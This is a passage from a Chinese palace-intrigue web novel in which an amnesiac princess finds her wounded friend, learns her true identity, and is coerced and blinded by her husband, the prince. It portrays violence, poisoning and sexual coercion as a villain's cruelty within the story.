“多谢二公子。”青蓉抢先一步接过帕子,随后拍了拍帕子上不存在的尘土,这才递给魏沛鸾。
“二公子,真是巧啊。”这儿离书局有段距离,没想到还是遇见了他。此时哪怕转身想走,也为时已晚。
程敬之见她身旁无人,脸上的欣喜更甚,“王妃独自出府?”
“王爷有公务在身,先行离去了。”
程敬之微微颔首,幸好端王走了,否则他是断然不敢当着端王的面与她搭话的,“既如此,王妃现在是要回去了?”
“嗯。”魏沛鸾点头,不想与他接触更深。
一来是怕被李京熠误会,二来是怕程敬之被卷入不必要的纷争。毕竟李京熠连她这个明面上的妻子都敢杀,又何须忌惮一个毫不相干的侯府公子呢?
“王妃平日里喜欢看书吗?”
闻言,魏沛鸾瞥见他怀中抱着的几本书,不咸不淡地答道:“看些话本。”
程敬之一听,拿出一本书递到她面前,“这本书,王妃一定会喜欢。”
书递到跟前,魏沛鸾不得不接过,随后翻开一页,“二公子是要将这本书赠予我?”
程敬之见她并未拒绝,十分开心地点头道:“王妃若是愿意收下,那便是我的荣幸,也是这本书的荣幸。”
一本书罢了,收下便收下,也没有什么了不得。
魏沛鸾“嗯”了一声,将书递到青蓉手里,“多谢二公子好意,我先走了。”
程敬之彬彬有礼地与她告别,抱着怀里的书往前走。走到医馆门前时,往里望了一眼,眼中有一丝疑惑一闪而过。
临近正午,高悬在头顶的太阳犹如一盆烧得红彤彤的火炉,就连青蓉也忍不住用帕子擦了擦滑落到下巴的汗水。
“王妃,这不是回府的方向,您这是打算去哪儿?”
“随处走走。”
“可是王妃,这会儿日头太毒,怕是会晒着您,咱们还是尽快回去吧。”
阳光洒在裸露的皮肤上,是有些灼人。
魏沛鸾却无暇顾及,因为此刻她的心里更冷。
她失了忆,中了毒,如今想要自救,却无能为力。
唯一能想到的是,是尽快从
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李京熠身边离去。这不是一件容易的事。
哪怕她想要独自出门,都不容易办到。
所以,她只能找其他人帮忙。
想到这里,魏沛鸾的脑海中突然出现芙蕖的脸。她之前与她说的那些话,言语中似乎还隐藏着某些线索。如今魏沛鸾仔细一想,她是否真的知道些什么?
要想得到答案,必须要再去一趟金缕阁。
事不宜迟,魏沛鸾拔腿往金缕阁的方向去。
“王妃!”青蓉见她脚步加快,以为她是打算回王府,可仔细一瞧,这哪儿是回王府的方向?
“去金缕阁,我找芙蕖说说话。”魏沛鸾回头解释道。
不得已,青蓉只好跟随而去。
脚步匆匆行至金缕阁门前,魏沛鸾抬脚进去,往店内环视一圈,奇怪的是,并未发现芙蕖的踪影。
没见到芙蕖,她心里顿时有些不安,快步走到店老板跟前,问:“芙蕖呢?”
店老板停下拨算盘的动作,瞧见她有些眼熟,便答道:“你找芙蕖?她今日去城东郊外的染坊去了,恐怕天黑才会回来。”
这么不巧?魏沛鸾心生疑惑。
既如此,难道只能等下回了?
但下回还能这么轻易从王府出来吗?恐怕,她今日必须要见到芙蕖才行。
“染坊在城东何处?”
“你找芙蕖何事?若是要紧事,她今日回来,我转告她便是。”
魏沛鸾态度坚定,回答道:“的确是要紧事,但我必须今日当面与她说。”
店老板点点头,不再追问:“城东靠近河边的那一家染坊就是了,很好找的。”
“好,多谢老板。”说完,魏沛鸾转身离开。
跟在身后的青蓉听着王妃与店老板之间的对话,惊得一脑袋汗,赶忙问道:“王妃,您要出城?”
“嗯。”
“万万不可啊!您要是出城,王爷一定会大发雷霆的!”青蓉一副快要急哭的模样,就差跪下来抱住魏沛鸾的双腿不让她走了,“况且城东偏僻,这一来一回要花上好些工夫,您出府已有好些时候了,现在得尽快回去!”
“只要你不与李京熠说,他又岂会知晓我出城?”路途遥远,魏沛鸾打算租一辆马车前行,“哪儿能租到马车?”
“马车?”见她这么问,青蓉便知道王妃这是铁了心要去,却还试图劝说:“王妃!您当真去不得!这会儿快到午时了,咱们还是回府用膳吧!王爷要是知道您此举,怕是不好交代啊!”
本就内心焦躁不安的魏沛鸾听她一个劲儿地阻拦,难得的一次发了脾气,满脸怒气道:“你既然是跟在我身边的人,自然是事事听我安排调遣,为何总是张口闭口都要提起李京熠?我知你是他安排在我身边约束我的,若是你觉得现下无法阻止我的行为,那你便去与李京熠说明,让他来找我,你不要再拦我!”
美人动怒也是吓人得很,况且青蓉这是第一次见王妃露出这样怒意。正在为难时,她又听见王妃说:“你若是不愿与我同去,现在你便回端王府去。”
“愿意!奴婢自然是愿意!”绝对不能放任王妃独自去那么远的地方,这要是被王爷知道,恐怕后果会更严重,于是赶紧说道:“奴婢现在去租马车!”
20. 第20章
马车一路摇摇晃晃行至城东外的染坊门前,魏沛鸾迫不及待地从马车上下去,疾步往染坊里去。
不巧的是,染坊内的管事说芙蕖在小半个时辰前已经离去。
这不禁让魏沛鸾起疑。
既然芙蕖在小半个时辰前离去,若是回城,必定会在路上遇到她。可这一路上,并未遇见任何车马或行人。
况且,金缕阁离着染坊路途遥远,芙蕖定然是不可能步行来往。
魏沛鸾瞧见染坊外的那辆马车,询问过后,确认这便是金缕阁的马车。
既然马车还在,芙蕖定然是还未回到城中。
难道她在这附近?
这么想着,魏沛鸾往四周环视一圈,发现离着染坊不远处有几户人家,于是过去寻找。
此时正值正午,袅袅炊烟从村中升起,魏沛鸾挨家挨户地问过,不过有些人的确是认识芙蕖,今日也确实见过她。
但要问她去了哪里,那些人便说不知道了。
见问询无果,魏沛鸾打算往别处去寻。
沿着蜿蜒的河道往上走,两侧的草木疯长得近乎肆虐,浓密的枝叶交织成一张遮天蔽日的网,将探寻的视线切割得支离破碎。
青蓉亦步亦趋地跟在魏沛鸾身后,额角的汗水顺着苍白的脸颊滑落,手中的帕子早已湿透。燥热与焦灼在胸腔里翻腾,终于让她忍不住开口劝道:“王妃,芙蕖姑娘说不定早已折返了。咱们何必在这荒僻的野岭中受这份罪,若是中了暑气……”
“再找找。”魏沛鸾的声音冷静得近乎固执,她目光如炬,扫视着每一寸可能藏匿踪迹的草丛。
既然归途未见人影,那她就绝不可能安然无恙地回去了。既未乘马车回去,也不在相识的农户家中歇脚。
那么,唯一的解释便是她就在这荒野之中。
虽然魏沛鸾一时猜不透她为何滞留于此,但不见其人,终究无法心安。
林间吹来的风夹杂着令人窒息的闷热,可在这蒸腾的暑气中,却隐约夹杂着一丝令人毛骨悚然的血腥气。
魏沛鸾的心猛地一沉,脚步不自觉加快。她拨开茂密的草丛,眼前的景象让她的血液瞬间凝固。
河滩边,一抹刺眼的鲜红匍匐在灰黄的沙砾之上。一位女子浑身是血、气息奄奄,如同折翼的蝶,正艰难地挣扎在生死边缘。
那不是芙蕖,又能是谁?
“芙蕖!”魏沛鸾失声惊呼,声音里满是撕裂般的焦急。这一刻,她所有的理智都被抛诸脑后,全然未曾察觉到一旁的屠刃。
地上的芙蕖费力地睁开眼,瞳孔中映出那寒光凛冽的刀锋,她想开口示警,喉咙里却只能发出破碎的嘶哑,一切都已太迟。
就在屠刃身后,李京熠缓步走来,神情悠哉,仿佛踏着的不是修罗场,而是自家的后花园。
烈日当空,酷暑难耐,可他周身散发出的气息却冷到了极致,仿佛能将空气冻结。那双深邃的眼眸中,凝结着一层无论烈日如何炙烤也无法融化的冰霜,透着令人战栗的寒意。
当魏沛鸾的目光与他对视的瞬间,一股透骨的寒意从脚底直冲天灵盖,身躯不受控制地颤抖起来。
那冰冷的气息仿佛化作了一根根淬了毒的冰针,密密麻麻地刺入她的骨髓。
“小九,你为何在此?”
李京熠的声音像淬了冰的刃,没有一丝起伏,透着令人窒息的寒意。
魏沛鸾下意识地后退半步,瞳孔微缩,死死盯着他,“你……你要杀芙蕖?”
屠刃手中的长刀尚未归鞘,殷红的血珠顺着锋利的刀尖缓缓滴落。日光毒辣,恰好落在刀身之上,折射出一片令人胆寒的血光。
屠刃握刀的手一紧,下意识回头瞥向李京熠,眼神中带着询问。
李京熠面无表情,只微微抬了抬下巴,做了一个隐晦的手势。
屠刃会意,立刻收刀后撤两步,垂首立于一旁,不再言语。
“小九,你现在立刻回府。”斑驳的树影透过茂密的枝叶洒在李京熠的脸上,光影交错间,那张脸俊美得近乎妖异。然而,他眼底翻涌的嗜血戾气太过浓重,浓重到让人根本无暇去欣赏那张脸的俊朗,只觉背脊发凉,“我们便还能像从前一样相处。”
“此话何意?”魏沛鸾的手指猛地攥紧,指甲深深嵌入掌心,牙关紧咬,“你的意思是,要我装作视而不见吗?芙蕖是我好友,我绝不会弃之不顾!你若是硬要赶尽杀绝……”她深吸一口气,眼眶微红,却倔强地抬起头,“那你便将我也杀了!”
话一出口,魏沛鸾的心便猛地一沉,后知后觉的恐惧瞬间席卷全身。
李京熠真的有可能连她也一起杀了。
毕竟,他早已杀过她一次。
李京熠闻言,嘴角勾起一抹极尽嘲讽的冷笑,眼底满是不屑,“你在威胁我?”
这样的神情,魏沛鸾从前从未在他的脸上瞧见过。这会儿见到,只觉得心里发毛、汗毛倒竖。
可芙蕖身为她失忆后唯一的好友,此刻奄奄一息瘫倒在地,很有可能立马就会命丧于此,她岂能袖手旁观?
哪怕面前的人是恶鬼阎罗,魏沛鸾都会尽力一搏。
“我不会再让你伤害芙蕖。”说着,魏沛鸾疾步走到芙蕖身前,将她扶起来。
芙蕖因失血过多而脸色苍白,全身上下满是血迹。她的手中,紧紧握着一把长刀,刀柄处明晃晃是一个“影”字标记。
魏沛鸾疑惑不已,正要伸手去触碰那把刀时,身后李京熠的声音突然响起,“她与你不过几面之缘,算不得好友。你把她松开,随青蓉回府去,我会留她一命。”
这话听着像是李京熠的让步,但又像是为了暂时稳住她而这么说的。
魏沛鸾不会轻信他,绝不会。
“她与你究竟有何深仇大恨?你要如此赶尽杀绝?”
这话倒是让李京熠疑惑起来,冷笑道:“看来,她还什么都没来得及与你说。”
奄奄一息的芙蕖强撑着意识,用力抓住魏沛鸾的手,嘴唇微张,似乎是想说些什么。但她实在太虚弱,河水哗啦啦地从
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身旁流淌而过,压根听不清她微弱的声音。
“别急,你写给我看。”魏沛鸾摊开掌心,示意芙蕖在她的掌心写字。
芙蕖缓缓伸出满是血污的手,颤颤巍巍地在她掌心写下一个“影”字。
影?
为何又是这个字?
魏沛鸾满是疑惑,“这个字有何特别之处?我不明白。”
早知结果会是这样,芙蕖又写下一个“九”字。
影九?
这看起来像是一个人的名字。
魏沛鸾握紧掌心,神色凝重地看向她,不确定地问:“这是我的名字?”
芙蕖微微点头,无力地垂下手。
“你宁愿听信她的一面之词,也不愿信我?”李京熠的声音突然在身后响起。
魏沛鸾回头看他,态度坚定又决绝,“那你呢?自我从别院之中醒来,听到的也全都是你的一面之词。”
神色冰冷的李京熠站在她面前,居高临下地看着她,“所以事到如今,你选择相信她?”
“你还打算如何骗我?”魏沛鸾望着他,眼中满是愤恨,“我究竟是谁?魏沛鸾又是谁?影九又是谁?你愿意告诉我吗?你只会用一个又一个谎话来骗我!”
李京熠沉默地注视着她,似乎在思考说辞,又似乎在思考下一步的行动。过了好一会儿,他却都没答话。
魏沛鸾别开脸去,心里已猜到七八分,“我不叫魏沛鸾,我叫影九是吗?你不说话,那便表示我猜对了。这所有的一切,都是你布的一场局。你已经杀过我一次,同样可以再杀我一次。事已至此,悉听尊便。”
闻言,李京熠微微挑眉,似是有些意外,“没想到你竟记得?”
这句话从他的口中说出来,倒像是板上钉钉了。
他的确杀过她一次,他并未否认。
“留她一命也可以。”李京熠像是做好了决定,幽幽开口道:“你跟我回去,我留她性命。”
“我如何信你?”
“你现在有跟我讨价还价的余地?”
反问的这句话像一根针扎在她的心口,魏沛鸾咬着牙,自知这是一场赔本买卖。她没有讨价还价的余地,李京熠说的条件,是唯一能救芙蕖的办法。
不能再在此地耗下去,否则芙蕖很快会没命。
她扫视一圈四周,想到芙蕖此行来的目的地是染坊,便对他说道:“把芙蕖交到染坊的人手里,我再跟你回去。”
话音一落,李京熠冷哼一声,“你还在跟我讨价还价?当真以为我舍不得动你?”
“你想如何?”既然李京熠认为她在讨价还价,魏沛鸾便也不再多言。
芙蕖的呼吸已经很浅,像是随时会咽气。
她不得不答应他的条件,但在这之前,还是多问了一句:“你会把她带到哪儿去?”
嗜血的气息渐渐散去,他眼中的冰冷也渐渐散去。李京熠恢复以往的温柔,语气中带着宠溺,像是在哄三岁孩童似的,“你放心,我答应你会留她一命,我说话算话。”
21. 第21章
马车停在王府门前,魏沛鸾径自回了广寒院。
如今好不容易找到线索,一切都已浮出水面,却还不等她激起浪花,便被李京熠扼杀。
她没有丝毫反抗的余力,她与李京熠之间,从来都不是平等的关系。她这条命,说不定在不知不觉间就会被李京熠夺走。
现如今话都已说开,那么她更要小心谨慎地活。
李京熠究竟要做什么,她猜不到。
午后更是燥热,树上的蝉鸣实在闹人。魏沛鸾倚坐在窗前,拿着扇子轻轻摇着,眼神里一片空洞。
青蓉回头看了一眼桌上早已凉透的饭菜,犹豫再三,还是忍不住劝道:“王妃,您还是吃两口吧。要是王爷瞧见您这副模样,该心疼了。”
“李京熠当真把我看得这么重吗?”这话像是在问青蓉,又像是在问她自己。
青蓉斩钉截铁地点头道:“王爷自然是极其看重您的!”
“看重?”魏沛鸾喃喃着这两个字,也不知这二字该如何理解。
若是因喜欢才看重,为何欺骗她?伤害她?
若说他与她之间有着深仇大恨,那么她刚醒来时,又为何待她那般好?
无论如何,魏沛鸾都猜不到他的意图。
“撤了吧。”魏沛鸾懒懒地摆手,“我不吃。”
青蓉轻叹口气,只得转身去撤掉桌上的饭菜。
午后的燥热实在让人无法静下心来,哪怕屋内摆放着一大缸的冰块,都未能将那来势汹汹的热浪驱散开。
摇扇子摇地手腕疼,她撇下扇子,支着下巴望着那当空的烈日。
也不知道芙蕖被他带到哪儿去了,他是否真会如他所言,留芙蕖一命?
胡思乱想着,魏沛鸾在广寒院中独坐了许久。
直到夜色已深,她沐浴过后上床歇息,才见到李京熠。
没想到,今日发生了那样的事,他竟还能装作一副无事发生的样子平静地躺在她身侧。
“我不想见到你。”夜深人静时分,能清晰地听见她扑通扑通的心跳声。
李京熠沉默过后,钳住她的下巴,让她转过头来看着自己,冰冷的气息洒在她的耳畔,“你我已同床共枕这么多日夜,这会儿说什么气话呢?”
这样的举动让魏沛鸾不满,她不由得恼怒,想要挣扎开,但越是挣扎,他手上更是用力,她不得不怒道:“松开我!”
她动怒的样子让李京熠眼前一亮,连同那一颗小小的鼻尖痣也跟随她皱眉的动作而微微扯动,实在让人心痒难耐。
遂李京熠俯身过去,吻在她的鼻尖。
这直接让魏沛鸾傻了眼,气得她在被窝里用力地踹他一脚。
李京熠没想到会被踹这么重一脚,疼得闷哼一声,手上的动作立刻就松了,随即他笑出了声,“没想到小九的力气还挺大。”
“无耻!”
“无耻?”李京熠就算被骂也完全不恼,眼中的笑意反而更深,“是小九先动的手,怎么还说我无耻?”
“难道我说错了?你就是无耻!你不仅无耻,还冷血!”魏沛鸾气得坐起身来,咬牙道:“你滚!我不想再见到你!你给我滚出去!”
奈何李京熠只是懒懒地撑起身子,嘴角依旧挂着一丝隐隐约约的笑意,“这么晚了,小九是要让我滚去哪里?好歹夫妻一场,同榻而眠都不许吗?我又不做什么。”
分明她已气得火冒三丈,可李京熠翩翩一副无足轻重的样子,这不禁让她更加恼火,“我与你不是夫妻!我不叫魏沛鸾!与你成亲的人也不是我!”
“哦?”这话让李京熠的神色凝重几分,他一扫而光嘴角的笑意,缓缓坐起身来,深邃的眸子死死盯着她,声音陡然冷了几分,“那你说说看,你是谁?”
寒气突然从四面八方涌来,冷得她缩了缩身子,沉思片刻后,她攥紧拳头,鼓起勇气回答道:“我叫做影九。我猜,这便是你唤我‘小九’的原因,是吗?”
黑夜之中,李京熠眯起狭长的眸子静静地打量她,似乎在她这张倔强又凄美的脸上寻找着什么,过了好半晌,他才冷笑一声道:“影九?这个名字不好听,也不适合你,杀气太重。”
“所以,之前所有的一切,都是你在骗我。”她用力攥着拳头,指甲狠狠掐进掌心里,指节因用力而发白,眼眶却不知不觉发酸。
“是。”李京熠一挑眉,始终从容淡定,“那又如何呢?你如今,能记起什么呢?你的本名,不还是从别人口中听来的?”
她十分厌恶他这一副高高在上的样子,仿佛一切尽在掌控之中,不会掀起丝毫波澜。
在这之前的几个月里,她的确被他骗得团团转,但从今往后,不会了。
“你究竟要做什么?”
“这个……”李京熠刻意停顿了一下,随后继续说道:“不好说。”
“所以你也不会放过我?”
“呵!”这话在李京熠听来十分可笑,他不禁笑出声来,“是你主动送上门来,放过你?小九,恐怕你在异想天开吧?”
过往的种种,她都不记得。
他说的这句话是何意,她自然也不理解。
但在今天发生的事情上来看,他对待芙蕖却是一副势必要赶尽杀绝的做派。
而自己与芙蕖之间,似乎早就认识。
可芙蕖并未来得及将从前的事告知于她,所以,自己与芙蕖之间、与李京熠之间究竟存在着什么样的关系,她一概不知。
至于李京熠说的“主动送上门”是何意,她对此感到好奇又费解。
不过,既然芙蕖与自己是一方,那么为何李京熠现在要杀芙蕖,却不杀她了?
“你不杀我?”她问。
“杀你?”李京熠欺身凑近她,修长的手指戳向她的心口处,“已经杀过一次了,小九何必再套我的话呢?”
她用力地一把拍开心口前的那只手,厌恶地别开脸去,皱着眉道:“别离我这么近,恶心!”
李京熠抬手抚过她的鬓边发,冰冷的指尖有意无意地轻蹭她光滑的脸颊,笑道:“再亲密的事情都做过,这会儿嫌恶心了?”
她再次别开脸去,却避不开他冰冷的气息。
当真是避无可避。
对于李京熠为何现在不杀她这件事,她似乎能猜到七八分。
一来是他喜欢这副皮囊,所以留着她的性命。
二来,或许是为了折磨她、羞辱她。
就像现在这样。
“在想什么?”李京熠见她不说话,突然
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有些好奇。
她冷冷地瞥他一眼,紧抿着唇缄默着,对他已无话可说。
既然李京熠想把她困在身边,那么便会暂时留着她的性命。所以在这段时间里,她要想办法自救,还要想办法救出芙蕖。
若是能救出芙蕖,那她便能知道自己之前所有的事情。
但这不是一件易事。
见她始终避若蛇蝎,李京熠终于是没了耐心。他猛地欺身而上,修长的手指如铁钳般扣住她纤细的腰肢,毫不费力地将她重重压在身下。
面对这突如其来的动作,她吓得瞳孔骤缩,本能地便要抬手去打,不想却被李京熠死死扣住手腕,力气大得仿佛要捏碎她的骨头。
“放开我!”她咬牙怒斥,还想去踹李京熠,可他绝不吃第二次亏,早已将她的退路封死。
“你在想如何逃出去?”他低沉的声音带着洞穿人心的冷意,轻易便戳破了她眼底一闪而过的算计。
她气得浑身发抖,狠狠咬着下唇,血腥味瞬间在口腔中弥漫开来。
李京熠眸色一沉,用力掰开她的嘴,指腹重重擦过她已渗出血的下唇,眼底似是闪过一丝心疼,“你听话些,我自然会对你好些,不必做这些自伤身子的事来惹我怜爱。”
“滚开!”
他脸色骤然阴沉,随即又很快化作一抹令人心悸的寒意,嘴角勾起一抹冷冽的笑,“省省力气,顺从我,便能少受些罪。”说完,他俯身贴近她,将她所有的愤怒与不甘都封于唇间。
这一夜,广寒院里的动静直至天蒙蒙亮才消停。
她从最开始的愤怒不甘,再到委屈妥协。
哪怕她怒骂到嗓子嘶哑,痛哭到泪流,李京熠都充耳不闻,依旧我行我素。
这一夜,她才真正地见识到之前的李京熠伪装地有多么好。
他的虚伪、他的冷酷、他的恶,都毫无保留地展现在她眼前。
甚至,李京熠像是在突然之间换了个人。
换成了一个她从前都不认识的恶魔。
清晨的光亮穿透窗户纸的时候,她无力地卧在塌上,一动不想动。
李京熠一夜没合眼,在折腾完她之后,一言未发,毫不留恋地抽身离去。
那扇门被打开,随即又很快被关上。
她抬手遮住双眼,很轻地叹了口气。现在唯一能做的,也只是将一切光亮杜绝在外罢了。
耳边恢复宁静,身心终于得到放松。困意突然前仆后继,她闭上双眼,打算睡一觉。
这一觉睡得格外沉格外久,再睁开眼时,眼前已是漆黑一片。
这么快天就黑了?她很是疑惑。
仔细去听屋内的动静,似乎青蓉就在身边。
“青蓉?”她撑起身子,试探着叫了一声。
青蓉正在布置沐浴的所需物品,好让王妃清理一下身子,竟没想到吵醒了她,“王妃且稍等,奴婢正在添热水,预备伺候您沐浴。”
“沐浴?”她努力睁开眼睛去看眼前的景象,可无论如何努力,眼前都是漆黑一片,“既然是要为我沐浴,屋里为何不点灯?”
“点灯?”青蓉回头望了一眼窗外的烈日,小心翼翼地回答道:“王妃,这会儿正值午后,日头正盛,还不到掌灯时分。”
22. 第22章
这话猛然间钻入魏沛鸾的耳中,不禁让她很是费解,“既是午后,天为何黑了?”
青蓉迟疑地看了眼窗外,随后疾步走到魏沛鸾跟前,凑近仔细瞧了瞧她空洞无神的双眼,试探着伸手在她眼前挥舞,支支吾吾地问道:“王妃……您……您看得见奴婢吗?”
听她这么问,魏沛鸾一时间彻底慌了神,焦急地伸手在空中胡乱抓了几下。青蓉的声音明明就在耳边,为何自己看不见她?也摸不到她?
“王妃?您……”青蓉不可置信地瞧着魏沛鸾的动作,惊讶到张大嘴巴,神色激动道:“您真的看不见奴婢吗?奴婢就在您眼前啊!”
刹那间,魏沛鸾的心仿佛坠入冰窖。
或许这不是天黑了,而是她的眼睛出现了问题。
她看不见了。
“我……”她颤颤巍巍地伸出手,摸了摸自己的眼睛,随后又举着手在眼前晃了晃,努力睁大那双好看的眸子,却一丁点儿光亮和影子都看不见。她张了张嘴,苍白的嘴唇无声地抖动,像是终于接受了这个残酷的现实,“我看不见了……”
青蓉见状,吓得不知该如何是好,连忙说道:“奴婢……奴婢去找大夫!奴婢去……去禀告王爷!”说着,她便要拔腿出去。
“不必!”魏沛鸾叫住她,脸上的惊慌突然很快消失不见。就好像方才她表现出来的惊慌失措是错觉,是假象。
迅速冷静下来,她猜测自己不会无故失明,唯一能让她变成这样的人,只有李京熠。
前些天喝的那些药,想必便是证据。
那是毒药,会让她变瞎的毒药。
李京熠不杀她,却想要以此来控制她。
为了控制她,居然这么不择手段?
真是卑鄙!
她狠狠咬着牙,痛恨自己为何没有早些看清他的真面目?
青蓉瞧着她这一副咬牙切齿的模样,小心翼翼地问:“王妃,为何不让奴婢去通禀王爷?王爷一定会遍寻名医来治您的眼睛。”
“我变成这样,全都是拜他所赐。”说着,魏沛鸾掀开被子想要下床,“你这时候去告诉他,不知他会有多开心呢。他的目的达到了,他一定十分开心。”
青蓉蹲下身为她穿鞋,一时间没明白她话里的意思。但既然王妃说不必了,她也不敢擅作主张。
魏沛鸾被青蓉扶着去沐浴,每一步都走得缓慢且谨慎。
明明在这间屋子里待了好些时日,可真到了一丝光亮都看不见的地步,周围的一切都突然变得极其陌生起来。
骤然失明的确使她心烦意乱,也的确让她措手不及。
但若她真的因此一蹶不振,那这岂不是遂了李京熠的意?
他不杀她,是为了折磨她。
所以,若是她真的表现出十分痛苦,恐怕李京熠会变本加厉。
因此,她偏偏不让李京熠得意,她偏偏要镇定自若,偏偏要毫不在意。
她偏偏要让李京熠失控,才能更好地找到他的破绽。
-
碍于失明,行动不便。
于是乎,一切事物都要经由他人之手。
哪怕吃饭喝水这等小事,都必须要有人在旁伺候才行。
这两日用膳时,魏沛鸾发现李京熠似乎很享受给她一口一口地喂饭,哪怕自己提出无理的要求,他都丝毫不怒。
她的镇定自若在李京熠眼里,倒成了顺从。
“我原以为,你会问我要解药。”
冷不丁一句话响起,魏沛鸾下意识皱了皱眉头。她咽下口中的食物,缓缓开口道:“我若是问你要,难道你会给?”
李京熠冷笑一声,“倒是不会。”
意料之中的答案,她连多问一句都不愿。
李京熠盯着她那双漂亮的眼睛,随后目光缓缓下移,停留在她微抿的唇上,眼中的笑意更深。
他知道她的心中有诸多不满和怒火,却一直隐忍着。
不发作,也不多问。
就好像,什么都不在意。
“何时知晓的?”
“不久前。”魏沛鸾强压着心中的怒气,尽量一副平和的模样,“在你要杀芙蕖的那一天。”
“不怨我?”
魏沛鸾暗自咬了咬牙,庆幸此刻的自己眼盲,否则,是肯定不愿多看他一眼的,“怨或不怨,你心里清楚。”
看着她紧掐的掌心,李京熠拿过她的手,轻轻为她抚平手掌,指腹轻柔地擦过她掌心上深深的指甲印,“何苦为难自己?若是有怨气,尽管找我撒气,我受着。”
“那不正好遂了你的意?”魏沛鸾猛地抽回自己的手,不紧不慢道:“你这样的人,不值得我耗费太多心神。”
她这张脸确实漂亮,因此李京熠很多次都选择退让。
但这一次,她这句轻飘飘的话确实不得不让李京熠生气。
“我这样的人?”李京熠一把钳住她的下颌,手上几乎是用了十成的力,幽幽地问:“怎样的人?”
痛觉顿时钻入骨头里,魏沛鸾猜到他此刻一定气得火冒三丈,却偏不答话,一副冷静自持的模样。
她倒要看看,李京熠能维持多久的耐心。
她脸上这一副不服输的倔强实在太刺眼,李京熠不喜欢,就好像恍惚间回到了那一个杀气腾腾的雨夜。
“我不想再在你脸上看到这样的表情。”他的语气在陡然之间变得寒冷无比,仿佛呼出的每一口气都变成了寒霜,冷得人牙齿打颤。
魏沛鸾挣扎了一下,面上始终强装镇定,“怎么?不喜欢?生气了?那便一刀杀了我,你不是想杀我吗?这么好的机会,这么好的理由,可别错过了。”
她是在故意气他,李京熠心里清楚。
于是,他突然松开她,眼底闪过一丝凌厉,“我不杀你。但倘若你再敢惹怒我,那位叫芙蕖的姑娘,日子恐怕就不好过了。”
这样玩弄人心的把戏,李京熠手到擒来。
本就占下风的魏沛鸾闻言,心里渐渐平复下来。
她不能不顾及芙蕖的性命,毕竟,那一日的树林中,李京熠是真的要杀她。
可李京熠为何要赶尽杀绝?
而自己与芙蕖之间,究竟又存在着何种联系?
有太多疑问盘旋在她的脑海之中,她必须要问清楚。
所以,她一定要救出芙蕖。
察觉到她脸上的表情逐渐舒展开来,李京熠重新端上碗,舀了一勺已经晾好的汤送到她嘴边,“张嘴。”
没有心情再用膳的魏沛鸾别开脸去,从嘴里冷冷蹦出两个字,“不吃。”
“就喝一口。”这几日,她吃得不多,气色不大好,这鸽子汤是李京熠一早便吩咐厨房备下的。
魏沛鸾一口都不想喝,便想去推开他的
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手,不料一下子扑了空,不小心推到他手中的汤碗,碗一下子飞了出去。
“哗啦”一声,摔碎在地。
突然一声刺耳的响声,魏沛鸾自己也吓了一跳,脸上掠过一丝慌张,怔怔地举着手,好半晌都没将手收回来。
屋内安静了好一会儿,迟迟不再有任何动静。
李京熠瞥了一眼地上摔碎的碗,又扫了一眼她被汤溅湿的裙摆,沉默地看了她一会儿,随后起身出去。
走到门口时,平静地对青蓉说了一句:“替王妃换身衣裳。”
“是。”青蓉连忙应声,一进去便看见摔碎在地的碗。
王妃的裙摆脏了一角,但远不及王爷身上狼狈。
青蓉疾步走到魏沛鸾跟前,小心翼翼地搀扶她起身,“王妃,奴婢伺候您更衣。”
魏沛鸾被扶着起身,像是在确定什么似的,朝门口的方向望了一眼。
但眼前仍旧是漆黑一片,什么都看不见。
青蓉察觉到她的动作,害怕自己遗漏了何物,忙问道:“王妃在找什么?”
“李京熠呢?”她像是不经意似的问了一句。
“王爷已离去。”
“他生气了吗?”她又问。
青蓉仔细回想王爷方才从屋里出来时的模样,摇头道:“未见王爷动怒。”
奇怪。
居然没有生气?
魏沛鸾百思不得其解。
青蓉见她若有所思,追问道:“王妃有话想要对王爷说?”
魏沛鸾摇头。
既然他并未动怒,她又何须表现出在意?
自己也是无心之举,竟没想到摔碎了碗。
不过说到底,只是摔碎一个碗罢了,李京熠又何必对她生气?
但他一言不发便离去,始终让她觉得怪异。
换了身衣服后,魏沛鸾被青蓉扶着在窗边坐下。虽然眼睛看不见,但她还是习惯坐在这儿。
之前她唯一打发时间的事情便是看话本,如今眼睛失明,话本也看不了了,这才是真的无趣。
在窗边独坐了好一会儿,魏沛鸾的思绪乱糟糟的,于是缓缓站起身来,想出去透透气。
青蓉赶忙迎上前,“王妃,您要去哪儿?”
“想四处走走。”
“奴婢陪您一起。”青蓉说道。
魏沛鸾无奈点头。反正哪怕她拒绝,青蓉也会偷偷跟在她身后,从前她便听从李京熠的吩咐对她小心伺候,如今她变成这副模样,自然是更加小心谨慎。
今日天气凉爽,出来走走倒也不觉着热。
之前在王府内便也已熟悉各处,就算这会儿看不见脚底下的路,她也能猜到自己走到了哪一处。
阴沉沉的天空中,乌云压得很低。湖面上的风缓缓吹来,吹乱她鬓边的发丝。
魏沛鸾驻足,静静感受着这微风中的气息。
“王妃,乌云飘过来了,怕是待会儿要下雨。”
“嗯。”她应了一声,脚步却不停。
青蓉不得已,只能扶着她继续往前走。
风渐渐大了,湖面也被风吹得不再平静。她仔细听着耳边的动静,发现除了耳边的风声,到处都是静悄悄的。
她试图去寻找芙蕖的踪迹,但毫无线索。
按理来说,芙蕖被李京熠带回了王府,那么就一定在王府的某一处。
23. 第23章
这样的猜想是没错,但失明实在太过突然,魏沛鸾并未来得及好好在王府中查探一番有无密道暗室。
乌云来得迅速,压得极低。青蓉担忧地朝前头望了一眼,再次开口提醒道:“王妃,前面是路管家领着几个小厮在干活,满地泥泞杂草,您还是别过去了,以免弄脏鞋袜。”
闻言,魏沛鸾竖起耳朵仔细听前头的动静,果然听见一阵杂乱的叮当哐啷声。不过离着她还有些距离,方才未仔细听,竟然未察觉到。
“马上就要下雨了,这个时候是在做什么?”她好奇地问。
“湖边栽种的罗汉松总是活不长,所以路管家大概是想趁着下大雨之前,把树移栽别处。”话音落下,天空中突然滚过几声闷雷。
雷声滚滚,吓得魏沛鸾浑身一颤。
刹那间,她的脑海中闪过一丝熟悉的感觉,就好像似曾相识。
哪怕看不见眼前的景象,她也感到十分熟悉。
耳边嘈杂的声音依旧,混合着再一次响起的雷声,她突然不受控制地往前走了几步。
豆大的雨滴骤然落下,密密麻麻地砸在她苍白的脸上,还不等她回忆更多,青蓉便立刻拉她往廊下去。
“哎呀王妃!这雨真是说下就下!”说着,青蓉拿着帕子忙为王妃擦去脸上的雨水。
魏沛鸾呆呆地站着,任凭青蓉为她擦拭。
可是她的脑海之中,却在翻江倒海。
是了。
那一个雨夜,她也曾在湖边听到过这样的叮当哐啷声,也曾隐约听到过路管家的声音。
她终于是想起来了一些,终于得到了更多的线索。
